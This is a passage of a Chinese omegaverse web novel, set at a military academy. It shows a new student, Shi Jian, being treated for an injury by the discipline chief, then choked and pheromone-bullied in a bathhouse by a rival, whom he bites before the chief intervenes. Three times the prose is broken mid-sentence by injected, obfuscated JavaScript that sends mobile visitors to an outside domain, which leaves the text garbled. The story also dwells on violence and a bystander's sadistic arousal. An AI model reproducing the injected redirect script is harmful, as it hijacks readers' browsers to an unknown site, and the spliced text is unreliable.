“介意我帮你看看吗?”顾识云得到首肯后才挨着时茧坐下,晃了晃手里的棕色瓶子:“这是我从家里带来的药油,比学校的喷剂好用。” 时茧一僵:“你怎么知道……” 顾识云解释道:“我看你动作很小心,撞那一下反应有点大。” 在没有二次分化之前,像顾识云这种陌生人的关心不胜枚举,时茧早就习惯了,但现在还能有人对他这么细心却实属罕见。况且眼前这白发Alpha看着就是冷若冰霜,不是会多管闲事的类型,忽然对自己这么细致入微,时茧很难不怀疑他别有用心。 “下午和教官争执的时候是撞到了,可能破了点皮,但不严重。”时茧话锋一转,直截了当地问:“但你对我这么关心干什么?我们在此之前认识吗?” 能进入联邦第一军校的Alpha非富即贵,要么就是平民中天赋等级极高的佼佼者,但时茧对顾识云毫无印象,他向来很警惕无事献殷勤的Alpha,现在分化成Alpha之后更是。 顾识云却说:“我见过你。在你还很小的时候。” 他不再接着往下说。 时茧没等到下文,于是又换了个问法:“你认识我爸爸吗?” “认识。时藏锋上将现任第九军区总负责人,曾获两次‘联邦英雄’、一次‘银河勋章’。他戎马一生军功赫赫,政治理念激进,奉行去皇室化,是少壮派军官的领导人物之一。” “……你别背教科书人物简介了。”时茧微微扶额,“那我知道你是谁了。” 顾识云忽然有点紧张——他这就看穿了自己的身份? 时茧却只是低下头,虚空地盯着某一处。到这一步,他已经有些分不清楚父亲一意孤行的把自己送进军校,对他究竟是失望多一些,还是担心多一些。一个二次分化的意外,就这样不顾时茧的意愿,强行改变了他原本已经规划好的人生,强迫他清醒着抗拒着却也不可阻挡地驶向一个未知的故事结局。 顾识云见他脸色不好,问道:“你怎么了?” 时茧摇摇头,说没事。确定顾识云应该就是父亲说过打了招呼的人后,他对这个白发Alpha的戒心放下不少。 下午他钻空子在禁闭室睡午觉,对方心知肚明却没揭穿,现在又给糖给药油,要不是因为被嘱咐过多照顾点他,谁会这么关注一个“劣迹斑斑”的低等级Alpha? 顾识云有些奇怪时茧看自己的眼神为什么忽然松缓许多,但既然对方愿意接受自己的示好,他也乐见其成。 “你转过去吧,我给你上药。” “嗯。” 时茧卸下心理防备,转身趴在沙发扶手上,把碍事的长发全部拨到一边,露出鲜少被人看见过的后颈。 那里不常见光,苍白得过分,纤细得一只手就能完全箍住。顾识云本来不该往这里看的,但目光还是没忍住被那片雪色吸引,落在颈椎末尾那块突起的骨节上。 Alpha的腺体长得和Omega略有不同,比起像果实一样等待着成熟被采摘的Omega腺体,Alpha的腺体要更警觉,平日隐匿在皮肉之下,与Beta无异。只有在发情期的时候对着那块发热的骨肉舔舐、啃咬,不断地注入信息素,才能使它像鱼类的泄殖腔一样慢慢打开,露出嫩粉的内里。 时茧二次分化成Alpha之后,后颈处原本明显的腺体就渐渐退化成了Alpha该有的样子,好处是除了被信息素等级压制牵动时会引起灼痛之外,那里平常毫无存在感。所以他敢这样大大方方的把头发撩开给身后的Alpha看,毕竟没有谁会想要标记一个Alpha的腺体。 当然,他退化的也不只是腺体。 密闭的室内似乎响起了一下吞咽声,时茧后知后觉感觉到一种被野兽凝视的觊觎,忍不住动了动,下一刻肩膀就被一只火热又粗糙的大手按住,成年Alpha低沉的声音从身后响起:“趴好。” 时茧只得放弃回头看看的想法。他有些好奇,跟个机器人一样冰冷的顾识云,手掌上传来的温度怎么会这么高,力气也真大。 “你脱还是我脱?” 糟糕的台词。 时茧一边动手解开了衬衫最上面的几颗纽扣,扯着领口把衬衫褪到手肘。 半截雪背的风光于是就这样暴露在顾识云眼前,他不知道一个快成年的Alpha怎么会这么瘦,这么薄,好像一片白纸。他忍不住伸出左手,在时茧后背的上方比了比,发现他的背也就自己两拃宽,腰身甚至还要更细一点,顺着臀胯收下去一个惊人的比例。 肤色白得晃眼睛,肤质又细腻得很,一点色素沉着都没有,像块上好的莹润的羊脂玉,所以左边肩胛骨上的那一小块红色擦伤才显得如此刺眼,仿佛一幅雪地红梅图。 顾识云发现自己的呼吸急促了一些,他试图控制,但没什么效果。包括进行十几个小时射击训练后都不会抖的手,现在还没开始正式擦药,仅仅是把药油倒在掌心里摩擦,就已经抖得很厉害。 烈酒混杂着中药的味道传出来,就像军校里Alpha们混杂的信息素一样存在感极强,时茧不太喜欢地皱了皱鼻子,有点后悔答应顾识云让他把这玩意儿抹到自己背上了。 而顾识云有点无从下手。 他外出任务要避开六岁小女孩的遮挡击毙劫匪时都没这么迟疑,现在却开始犹豫自己先前的提议是否正确。搓热的药油均匀涂在掌心,却迟迟没有进行下一步 时茧的皮肤看起来细嫩过头了,他的虎口和掌心都有常年训练留下的粗茧,稍微用力一点都怕蹭破皮。 夏末的天气,光裸着肩背倒是不冷,但时茧等了好一会儿也不见身后的Alpha有动静,有点不耐烦地催促道:“你快点动啊。” 顾识云沉沉地应了一声,这才慢吞吞地将掌心覆上那块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035791|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞红的皮肤,那种微凉滑腻的触感,仿佛冰淇淋的奶油尖,让人很难抗拒。 时茧忍不住叫出声:“嘶——轻点儿。你太粗暴了。” 顾识云不得不放慢速度,他表情看着冷漠,眼睛里也毫无情感,但手掌心的温度却像烧红的碳一样,随着一圈一圈的按揉打转,时茧只觉得肩胛骨那块儿的皮肤像烧起来了一样,火辣辣的。 这股灼烧感持续几分钟后,顾识云忽然说:“好了。”时茧才隐秘地松了口气。 在时茧要起来之前,顾识云不知怎么的,鬼迷心窍一般,忽然又把手握成拳头,伸出小臂放在少年臀上一点的位置,比了比长度,看他的拳头到他的哪里。 ……换算一下的话好像是胃那块。 顾识云突然极快地收回手,转身坐直,直视前方,心脏跳得飞快。 时茧慢条斯理地穿上衬衫,把扣子扣好,扭头一看顾识云,噗嗤一声笑出来:“你怎么坐得像个老干部一样。行了,谢谢你帮我上药。” Alpha僵硬地说不用谢,像个出了故障的机器人。 半天又突然想起什么,伸直手把药油递给时茧:“你拿着吧。” “给我?” “新生刚入学,大多会不适应高强度的训练量,很容易受伤,你留着会很有用。” 时茧也不扭捏,爽快收下了:“等我回家,跟我爸爸说以后让你去第九军区。” “你爸爸不会答应的。” 出于某种小朋友炫耀自己有个多厉害的爸爸、多疼自己的心理,时茧立刻反驳道:“我爸爸最听我的话。放心吧,你照顾我,我也肯定不会让你吃亏。” 顾识云有点郁闷,听起来他怎么忽然成讨白富美欢心攀权附贵的凤凰男了? “那我先走了。今天多谢你。”时茧站起身,整理整理刚刚弄皱的衣服。 顾识云也跟着站起来:“教官不是罚你进禁闭室反省吗?” 时茧挑眉:“他有明确表示要把我关进禁闭室?” 顾识云摇头:“没有。” “有亲自跟你说要关我多久?” “也没有。” “那不就结了,”时茧颇为挑衅地一笑,露出一颗尖尖的虎牙,像一只使坏心眼的小恶魔,“军校是我家,我来我家随便逛逛,何错之有啊?” “呃……” “哦我忘了,你是纪察部部长。” 时茧很难得地笑了下,往前一步,伸出雪白细长的两根手指,在顾识云校服胸口别着的身份牌上轻轻一点。 “那部长大人,在我身上,可不可以稍微地徇私枉法一下呢?” 顾识云像根鱼线一样突然就被扯直了绷紧到极点,瞳孔类蛇瞳般渐渐缩小到竖起的一杠,那个像伊甸园的毒苹果一样的笑容在他眼前模糊放大,带给他一阵强过一阵的眩晕,到最后他听不清时茧在说什么、也看不见他嘴唇的张合,连这个人什么时候离开了办公室也不知道。 他不受控制地抬手,犹豫着碰了碰胸前的铭牌。金属铭牌摸起来冰凉光滑,留存着一点少年指尖上的香气,就和刚刚摸到他的雪白脊背的触感一模一样,冷玉生香。 8. 第 8 章 从思过楼出来后天色已晚,校园里的路灯依次亮起,和天上的星辰争相辉映。 时茧向着家的方向静静站了许久,那里的灯火通明离这里很远很远,海市蜃楼一样漂浮在黑夜里,像宇宙里遥遥一瞥的星云。在某一刻,他觉得自己像一颗脱离公转轨迹的小行星,随波逐流地坠向某个黑洞深处。 时茧收回思绪,微不可察地叹了口气,抬脚走向宿舍楼。一路有不少刚下晚训的Alpha,三三两两结伴而行,在经过他后几乎都回头多看了几眼,压低声音私下讨论着。 “那就是今天新来的很像Omega的Alpha?” “没从他身上感觉到什么威胁,看样子也不是高等级的Alpha。” “长得是真带劲啊,身材也棒,那小腰走几步路扭得……” “确实极品,校花评选我会投他一票。” “逗呢,这军校里恨不得老鼠都全是公的,还校花,一个Alpha长得再好看,等级低那也白搭,Omega又不会因为脸就倒贴。” “这就难说了,万一现在的Omega就喜欢这种枕头美人呢。” “听说刚报道第一天就把教官和那位大少爷给得罪了,禁闭室都去了两回,现在估计刚刚放出来吧。” “那他完了。” Alpha扎堆的地方说话就是这么粗俗,也不太避人,时茧一路听下来,脸色越来越不好。但想到一天之内进了两次禁闭室,事不过三,也就装聋忍了。 食堂挺好找,就在练体基地后面那栋楼,但时茧到的时候打饭窗口早就关闭了,正在清洁地面的工作人员礼貌地说:“不好意思同学,食堂现在已经下班了,你以后记得早点来。” 时茧更烦了,恹恹地点一下头,转身回宿舍。 回去路上遇到的Alpha们不出意外也在偷偷讨论他,时茧费了不少劲,才控制住堪堪爆发的信息素。 宿舍里空荡荡的,时茧目标明确,从床底下拖出行李箱,翻出来一大堆家里厨娘做的甜食蛋糕。在军校经历了如此糟糕的一天后,看见这些充满了厨娘爱意的糕点,时茧感动不已。 他抱着对食物无比珍惜和崇拜的敬意,认真挑选出两块槐花蜜味道的冰淇淋蛋糕,依依不舍地把剩下的放进宿舍冰箱里,边虔诚品尝着这两块蛋糕,边计划明天该宠幸哪一块。 在他吮完食指上沾的最后一点奶油回味那香甜的槐蜜味道时,另外两个室友勾肩搭背地回来了。 肌肉块头硕大的两个Alpha穿着学校统一发放的黑背心黑裤衩,趿拉着承载45码大脚的黑色拖鞋,各自抱个装了湿衣服的铝盆,肩上搭着根崭新白毛巾,头发湿哒哒的还在滴水。 他俩高壮得像两头熊一样,堵在门边目瞪口呆地看着坐在小马扎上清瘦单薄的时茧,信息素浓烈释放。 时茧抗拒地皱起眉,扑面而来的雄味比信息素等级压制更加难以忍受。 这两个Alpha过于符合他对这群军校生的刻板印象了,难道真的要和这样的室友同处四年? 时茧稍微想想,刚吃下去甜蜜小蛋糕的胃部就开始隐约运动。 他强忍着后颈传来的不适感,好在随着时间推移和托学校无处不在的Alpha信息素的福,他现在面对比自己等级高的信息素虽然还是很难受,但不像以前那样痛得连站都站不稳。 两个Alpha对视一眼后,朝着时茧走过来,指了指自己对应的床铺和床头贴着的学员信息:“我是付岩,B级,精神体是袋鼠,信息素青草;他叫隋边,B-,精神体是斑马,信息素泥土。我们和你一样,都是陆空作战指挥系1班的。” 时茧倒是毫不意外他们认识自己,开学报道第一天就二进思过楼,新生里恐怕独他一份了。 “时茧,精神体黎明闪蝶,等级……”他顿了顿,还没接着往下说,付岩就眼睛一亮:“时茧,你很有名。” “……E级Alpha。”时茧木道,“你很快也会很有名的,因为你在和一个声名狼藉的Alpha做室友。” 隋边不解地挠挠脑袋:“你这等级怎么进军校的?我记得学校最低只招收C级。” 付岩赶紧瞪他一眼,后者恍然大悟:“你是托关系进来的吧?” 付岩把毛巾塞他嘴里:“不好意思他的大脑和屁股置换了。” 时茧平静的承认道:“是,我是被硬塞进来的,也没打算在这里待太久。” 隋边扯掉毛巾,呸呸几口,生气道:“你知道联邦第一军校的入学名额有多难获得吗?知道这所军校对Alpha意味着什么吗?别人挤破脑袋想来都来不了,你可倒好,高高在上的,当关系户都当得不情不愿,好像谁逼着你来一样。” 付岩忙推了推隋边,打着圆场笑呵呵地说:“他这人轴,说话耿直,但没什么坏心眼,你别跟他一般见识。对了你不去洗漱吗?等最后一批晚训的学生回来,宿管就会上来查寝了,要是被逮到夜不归宿,会被罚整理这一层所有宿舍内务的。” 时茧沉默一瞬,转身去了阳台,付岩忙喊住他:“宿舍里的浴室只在晚上11点之前提供热水,11点之后就只有洗浴中心还能洗热水澡。” 时茧到卫生间试着开了花洒,出来的冷水溅在他皮肤上很不舒服,不得已只能到阳台把之前嫌弃的盆拿出来,把洗发水护发精油沐浴露等一股脑全扔进去。 临走前被付岩叫住,从衣柜里找出一包未拆封的换洗衣物递给他:“这应该是你那份,拿着吧,这睡衣质量其实蛮好的。” 时茧勉为其难抽出一秒时间,打量了一眼这两个Alpha身上连乳/头形状都若隐若现的宽松黑背心,稍稍噎了下。 “不了。” 第一军校的校规里对于着装的要求只有课程日必须着校服,实战课等必须着战斗服,除此之外并未强制规定晚上睡觉穿什么衣服,理论上来说即使时茧想裸奔也法无禁止即可为。 但他没有这种癖好,临走前带上了自己的一套真丝睡衣。 接近零点,宿舍楼外就只剩零星上完夜课或加训的Alpha还在游荡,也不乏像付岩隋边这样刚从洗浴中心冲完热水澡成群结队回宿舍的。 时茧紧抓着盆,尽量远着人群走,去的一路上都在给自己做心理建设。但等他真到洗浴中心后,才发现心理建设还是做少了。 公共淋浴区的每个方格里都站满了赤/身/裸/体的Alpha,有些还挤了两三个,大咧咧地甩着鸟,旁若无人热情地给同学帮忙搓背打香皂。 杂乱的信息素混合着热水蒸汽和各种味道的香皂沐浴露直冲时茧天灵盖,他难受得额头直冒冷汗,抓着盆沿的十指抠得发白发青。 也不知道是谁先回头看了一眼,见鬼似的大叫:“我草!有Omega!” 澡堂子里立刻人仰鸟翻,捂的捂躲的躲,香皂掉了一地也没人敢捡,大气都不敢出地盯着门口那个身形过分清瘦的少年。 时茧:“……” 他学着两个室友那样把白毛巾往肩膀上一搭,装作镇定自若地走到最后一个方格那里,淡淡道:“我是Alpha。” 借着同伴身体互相打掩护的Alpha们面面相觑,回过味后一把推开对方,恨不能离得三尺远。 虽然时茧说过他是Alpha,但长期处于性别比例严重失衡环境中的军校生们,还是忍不住偷看,视觉上的欺骗让他们无法坚持理智上的判断,还是很难相信这么一个长发美人是个Alpha。 四面八方传来的目光让时茧很难下定决心当众沐浴,他犹豫一会儿后,决定还是先洗头发。 那头水蓝色的长发即使在Omega也很少见,发量多得如同瀑布,发质柔软细腻,披下来时就像一条流动的、泛着粼粼波光的清溪。它至少能够说明一件事——有闲心逸致打理好这么长一头头发的人家境不会差到哪里去,家里愿意为它的保养下大功夫。 洗发水的香味顺着热气扩散,Alpha们心神荡漾:退一万步来说,他就不能真是个Omega吗?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035792|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时茧不快不慢地洗着头发,但比起动作迅速的其他人显得有些墨迹,典型有钱贵族的精致又龟毛。 等到最后一步抹完精油,一不小心就洗了三十几分钟,等不住的Alpha们陆续离开,周围或隐秘或大胆的目光少了许多。 即使剩下的人不多,时茧也不太愿意和他们坦诚相待。他用白毛巾擦干净头发上沾着的水,犹豫着要不要等人都走完再洗澡,门口忽然传出来一阵嘈杂,几道脚步声由远及近,很快就到了他跟前。 时茧应声转身,一道热水从天而降淋遍全身,湿透的白衬衫紧紧贴在皮肤上,透着莹白略粉的皮肉。才擦得半干不干的长发前功尽弃,发梢雨打般往下滴着水,连眼睫毛上都挂满水珠,一眨就汇成小溪顺着鼻翼往下巴流,划过喉结一滴滴地砸在深陷的锁骨窝里。 他呛了口水,咳嗽着睁开眼,余宸的手还按在淋浴开关上,勾唇笑得邪气:“大小姐,需不需要我伺候你洗澡啊?” 澡堂子里热气腾腾,时茧却浑身发冷,几缕发丝凌乱地贴在额头上,脸色和二次分化那晚一样苍白。那些从四面八方投过来的目光或隐蔽或明显,像针扎一样,时茧全身都不受控制地颤抖,比起被淋湿,这些目光更让他难堪。 时茧简直要把牙咬碎了,他贵为军阀世家的少爷,从头到脚哪样不是金尊玉贵,众星捧月地活了十几年,从没在大庭广众下这么狼狈过,也没受过这样的屈辱。 他眼睛进了水,又充血,疼得要炸开,死死盯着余宸,喉咙里堵满了话却说不出来。 余宸乐此不疲地捉弄着时茧,关关停停之间,时茧忽冷忽热,被热水迎头淋了一次又一次。 许柏顾虑时藏锋,怕面子上闹得不好看,小声说:“余哥,咱别太过分吧。” 余宸扬眉笑道:“我爸不是给我看了他的档案吗?怪不得被他爸丢进军校,原来二次分化成E级Alpha了,这种人就算得罪了又如何,只怕他自己家里人都看不起他。也真是没想到,以前人人追捧的S级Omega,现在凤凰变乌鸦,还淋成个落汤鸡。” 他又看向时茧,啧啧称叹道:“都说龙生龙凤生凤,谁能想到时藏锋这么个人物,居然生出来一个劣质Alpha,真丢你们时家的脸啊。” 时茧浑身都在流着水,脚底早已积了水洼,狼狈的模样大大取悦到余宸,放肆大笑起来。 许柏:“话是这样说,但余上将也嘱咐过您不要落井下石啊……” 余宸收了笑,冷哼一声:“落井下石?我这是实话实说。没宣扬得满世界都是,已经算给他面子了。不然我直接去学校广播站把这件事捅出来,看到时候丢脸的是谁。” 这话倒是真的,洗浴中心水声大,余宸刻意压低了音量,周围的Alpha其实听不太清楚他们这边说了些什么,但傻子也知道他是来故意找茬的,却没人敢站出来为时茧出头。 时茧死死地盯着余宸。 “不说话?你的嘴巴连带腺体一起退化了?退化成什么样,让我看看呗。”余宸故技重施,又来掰时茧的肩膀。 时茧颤抖得越来越厉害,全力甩过去一耳光,但这次被余宸轻轻松松地抓着手腕架在半空,混不吝地说:“还当我不知道你是Alpha心存顾忌呢?就你这样的,我在教室要不是让着你,能让你扇我两巴掌?” 他重重一挥手,时茧整个人都被带着踉跄了一下,后背刚上完药油的地方撞到墙壁,疼痛感让他眼前一黑,还好抓住了栏杆。 他的手指抠得青白,没等站稳就朝余宸扑过去,恨不能一口咬断红发Alpha的脖子!但这次没牧野拉着,余宸毫不费力地躲开了,反手掐住时茧的脖子抵到墙壁上,曲膝重重地往上一顶,呵呵冷笑两声:“我抓只猫都比抓你轻松。” 时茧双脚悬空,呼吸逐渐困难,从喉咙里挤出两个字:“放开!” 余宸不为所动,慢悠悠地说:“我还没玩够呢,不是每次都有机会欣赏你这么狼狈的样子啊—— 大,小,姐。” 9. 第 9 章 时茧眼球爬满了红血丝,双腿悬在空中没有发力点,两只手死死抠住余宸的手腕。他的呼吸逐渐紊乱,视线紧跟着一阵阵发黑,被等级压制而不受控制析出的信息素像他本人一样摇摇欲坠。 快喘不过气了…… 在近乎窒息的恍惚中,时茧看到罪魁祸首勾起嘴角,抬着下巴,满是恶意地对他说:“我抓的要是只猫都能扑腾得比你凶,而你,啧,一个残次品挣扎些什么?怎么说呢……你对自己的处境还真是没有一点自知之明。看来我有必要让你认识到,在绝对的信息素等级压制面前,任凭你身份地位再尊贵,你也得发自内心地臣服于我。” “做、咳咳,做梦……” 许柏脸色一变:“余哥,你……” 一个身形略胖的Alpha突然出声,顿时吸引了在场注意:“就算你是A+级别的Alpha,你也不能这么对一个跟自己无冤无仇的人吧,他可是我们同学!” 余宸应声看去,对他眯起眼,时茧反应慢了一拍,也艰难地调动余光。 他的朋友大惊失色,忙一把拽回来,小声道:“你疯了!这可是第一军区的太子爷!你看看其他人谁敢吭声!” 余宸来势汹汹,不少人早就识趣地在他进来时默默走了,在场还剩下的Alpha不过六七个,但没有人敢为时茧出头,权当没看见刚才发生的一切。甚至在余宸看向那个出声的Alpha时,都默契地往后退了好几步,生怕被牵连上。 “无冤无仇?就说你不懂的话还是别乱充英雄了,你又不是我,怎么知道我跟他有没有仇?”余宸哂笑一声,丢开时茧,抱着手津津有味地欣赏着他狼狈的样子,“毕竟小时候……算了。就你这种C级无攻击性异能的Alpha,没家世没相貌更没本事,还学别人英雄救美,哈哈哈,我看是狗熊吧~” “你!唔唔——” “没有的事没有的事,我们洗完了这就走!不打扰余哥!” 他身边的朋友强行捂住他的嘴,生拉硬拽的把人带走,一路还赔着笑和小心。 余宸目送他们离开的眼神玩味无比,似乎早已猜到会是这样的结果。 他又扫了一眼还在场的其他人,说话虽然笑眯眯的,内容却让众人脸色一变,抱歉又同情地看向那个撞上枪口的可怜Alpha。 “我呢,和时茧同学是老相识了,今天叙叙旧,以后也会好好照顾他。大家应该不会有什么意见吧?”余宸转头吹了下浮在肩膀上的灰尘,表情自然地像是在做一件最不经意的小事。 在场的人哪敢回怼,纷纷尴尬地笑着,赶紧穿上衣服急匆匆走了。 偌大的洗浴中心只剩下余宸、许柏和时茧三个人,余宸也终于不再顾忌,释放出A+级Alpha的信息素。许柏阻止不了,苦笑一声,心想这细皮嫩肉的小少爷可得吃不少苦头了。 时茧脱力地坐在一地冷水里,十只指头泡得苍白发皱,粉色的嘴唇也失去了血色,牙齿冷得打颤。 不……要站起来。 别像条落水狗一样。 时茧喘了几口气,闭了闭眼,强撑着站起来,呼吸声从受伤的喉咙里发出,粗糙得犹如用砂纸打磨过。 不等他从濒临窒息的痛苦中缓过劲,迎面又突然席卷而来铺天盖地的焦木味信息素,如轰然爆裂的火焰般席卷。时茧本来被冻得瑟瑟发抖,现在浑身却像发高烧一样烫,被热水打湿又冷却的衣服紧紧贴着他的皮肤,透出底下烧得酡红的皮肤。 那股要把他整个人都焚烧殆尽的热气从五脏六腑里挤出来一般,顺着滚烫的血液四处乱窜,最后汇聚到后颈处退化的腺体,炸开在时茧的头颅里,疼得他后悔刚才没有被掐死。 时茧拼尽全力忍耐着蚀骨的痛苦站起来,但最多坚持两三秒,就又会重重摔倒在地上,在高等级的信息素压制下全身都是软的提不起力气。 余宸放下手,随意地插在兜里,居高临下地欣赏着少年徒劳无功的挣扎,心情极好地大笑出声,笑声环绕在洗浴中心。 时茧慢慢地、慢慢地捏紧了拳头,指甲刺破手掌心,流出丝丝缕缕淡粉色的血水。他从地面的冷水里抬起头,打湿的长发紧紧贴在他额头上,把那双漂亮如星辰的眼睛遮挡得一干二净,却遮不住穿透出来的、对面前红发Alpha不加掩饰的仇恨和愤怒。 每次时茧竭尽全力快成功站起来时,余宸就会恶意释放出更多的高等级信息素,洪水滔天般冲向那个苦苦挣扎的少年,让他在巨浪中被迫如浮木般跌宕沉浮,贴在脸上背上的水蓝色长发,也像水藻一样漂浮着。 许柏看愣了。 时茧反复地努力,却次次都失败地跌倒在一地冷水里,像只被暴雨打湿翅膀,落在泥泞里奄奄一息的蝴蝶。他看到他膝盖附近的牛仔裤被渗出的血染成暗红,手掌也擦破了,血流到水里被稀释成粉色;那张干净雪白的脸上,是被信息素勾动的不正常的潮红;白皙的脖子上还留着一道已经渐渐发紫的掐痕。 如果换成其他人,许柏这种时候绝对心无旁骛,可偏偏时茧那张脸那么漂亮,腰身又那么纤瘦,还没长成的身体又那么青涩,这让许柏在这场凌虐里除了狼狈和可怜之外,又硬生生多出几分……几分他不应该生出的兴奋。 许柏闭上眼,重重地吐出几口浊气;再次睁眼,看向时茧的眼神里莫名多出一些炙热。 他忽然心痒难耐,很想体验一下余宸的视角,从上到下的俯视着那个落难的少年。甚至忍不住幻想如果把时茧弄到这个地步的人是他该有多好。 这么漂亮、这么高贵的一个……一个美人,谁能忍住不把他从高高在上的位置拉下来,逼他只能用那双天生含情又多情的眼睛仰视自己。但他一个仰人鼻息的小跟班,只能在心底阴暗地代入余宸,试图感受到对这样一个玻璃美人施虐的快感。 “咳、咳咳……” 时茧终于放弃无谓的挣扎,靠墙坐在覆满冷水的瓷砖上,仅凭一丝凉意在焦木味道的信息素火海里保持着最后的清醒。 许柏被这几声咳嗽牵动着心神,不受控制地看过去,看见时茧很艰难地抬了抬手,指向余宸,心中不知为何涌出几分失落。 “我?”余宸仿佛受到什么极优的待遇般,不可置信地指了指自己,见时茧没反对,颇为有趣地凑过去蹲下:“怎么,终于学乖了,知道求饶了?早这样不啊啊啊啊啊啊啊啊啊——我草你——松开啊啊啊啊!!!” 几乎要将房顶掀翻的嘶吼,却宣泄不出余宸百分之一的痛苦。他毫无防备,时茧突然扑到他肩膀上,张开嘴极狠、极深地朝着他脖子上的动脉咬下去,重重一口! 要不是反应快挡了一下,最后咬偏在锁骨上,就凭着时茧这股被高出他几个等级的Alpha用信息素攻击都死不松口的劲,余宸心惊地想,他现在恐怕早就被咬断了血管,即便不死也得ICU里躺上几回。 饶是咬偏,时茧的尖牙也依旧像把匕首一样,深深地插进了余宸的右锁骨之间,血腥味顿时充满了鼻腔口腔,让他恶心得反胃想吐。 余宸痛得惨叫不断,他不敢再激怒时茧,怕这疯子会干更出格的事,只能一边继续释放出高等级信息素试图控制时茧的行动,一边气急败坏地痛骂许柏:“你他妈瞎了啊看不见他在发疯?!快把他拉开!!” 许柏方才如梦初醒般,小声说了句时小少爷得罪了,从后面抱住那细得过分的腰,生拉硬拽地把时茧和余宸拽开。 许柏力气太大,时茧拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035793|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了命般挣扎,他死盯着余宸,眼底爬满了红血丝,像只被逼上绝路的小兽一样喘着粗气,嘴唇和牙齿上都沾着鲜红的血,在苍白的脸色对比下,让他看起来像极了一只食人血肉的精魅鬼怪。 几滴血溅在他眼睛周围,蜿蜒着流下来,被时茧用舌尖舔掉,不屑地扯动了一下嘴角。 余宸痛得手都在发颤,低头看了一眼伤口,顿时气冲头顶—— 他的整个右锁骨堪称血肉模糊,只能模糊地辨认出半边牙印,深到甚至能看见森森白骨,一块肉耷拉在旁边,几乎要被时茧硬生生撕咬下来。 余宸毫不怀疑,要不是许柏把他们拉开,时茧宁肯把牙齿咬碎,也要把他的肉给咬下来。 他后背滚落一滴冷汗,为着这种鱼死网破的报复方式而心惊和后怕。要是换成其他E级Alpha,被他这样用信息素压制,早就毫无反抗能力地跪下臣服了,偏偏时茧硬是撑着一口气,宁愿两败俱伤也不肯轻易伏低。 余宸居然在一个往日看都不会看一眼的劣质Alpha这里感觉到了前所未有的棘手,余维就这一个儿子,他从小就是要风得风要雨得雨,什么人没结交过,一个个的别管身份多尊贵、基因等级多高,都得毕恭毕敬地高高捧着他。天之骄子的余宸,还从来没有在任何一个人身上接二连三地栽跟头。 余宸愤怒,但又多出一种浓浓的征服欲,他就想要看看,他到底收不收拾得了这个从小到大都优越感十足、从来就不正眼瞧他的时家小少爷。 余宸忽然兴奋起来,一把扯掉那块被咬烂的肉,随手扔在地上,痛得鼻翼煽动着不停吸气,却又满意地对着时茧大笑道:“你爸不应该把你送到军校里来,还让你落在了我手里,你彻底完了!” 时茧呸出一口血,啐到余宸脸上,冰川似的蓝眸里掠过冷意,被鲜血染红的唇瓣冷漠张合,像朵霜冻的玫瑰:“早晚有一天,我让你跪下来,哭着求着给我当狗。” 余宸讥讽道:“人长得美一点,所以做白日梦也做得这么美?” 他话音刚落,一道如机械般冰冷的声音忽然响起,顿时吸引了在场三个人的注意。 逆光中,一道高大的身影缓缓走进。 顾识云一身裁剪得体的黑色校服,踩着军靴走到余宸面前,公事公办在违纪本上写下一行字,头也不抬地说:“校规第三条第四款规定,若学生聚众对其他学生利用暴力、信息素压制等方式进行单方面的伤害和霸凌,初犯者应年级通报批评,取消该学年的一切评优评先,禁闭室面壁反省24小时——” 在余宸的“你他妈知道我爸是谁吗”的表情中,顾识云终于舍得赏他一个眼神,却比刚才更加冷淡:“按照规定,我会将这起违规上报给教务处。而你现在需要做的是立刻去禁闭室,履行你在此次违规中的第一个处罚。” 余宸不服道:“不是哥们你谁啊?凭什么命令我?!” 许柏拉住他,小声说:“看他的肩章。这是个二年级生,而且铭牌写了纪察部部长。不好惹。” 余宸一听纪察部三个字就知道踢到铁板了,于是又换了个方向狡辩;“我什么时候聚众了?” 顾识云看一眼许柏。 许柏心虚地避开视线。 “……”那倒也确实算同伙。 余宸忍了,指向被折腾得虚弱不堪的时茧,又指回自己狰狞的伤口,“这可不是单方面斗殴,明明是双方都动手了。” 顾识云又看一眼时茧。 少年身形单薄,湿哒哒地蜷缩在墙角,胸膛随着浅淡的呼吸而轻微起伏。似乎察觉到他们的目光,精疲力竭地抬起眼皮,虚虚地望向顾识云,冷水从他白瓷般的脸上滚落。 顾识云:“他是正当防卫。” 10. 第 10 章 不要以为我看不出来你根本就是在偏袒他啊混蛋! 光看见这家伙楚楚可怜的样子了,怎么不来看看他刚才狂犬病发作的一面! 余宸后牙槽咬得咯吱响,听得许柏狂起鸡皮疙瘩,硬着头皮劝道:“我听老生说,纪察部权力比一般的老师还大,就和军队里的纠察一模一样,我们要不然……” 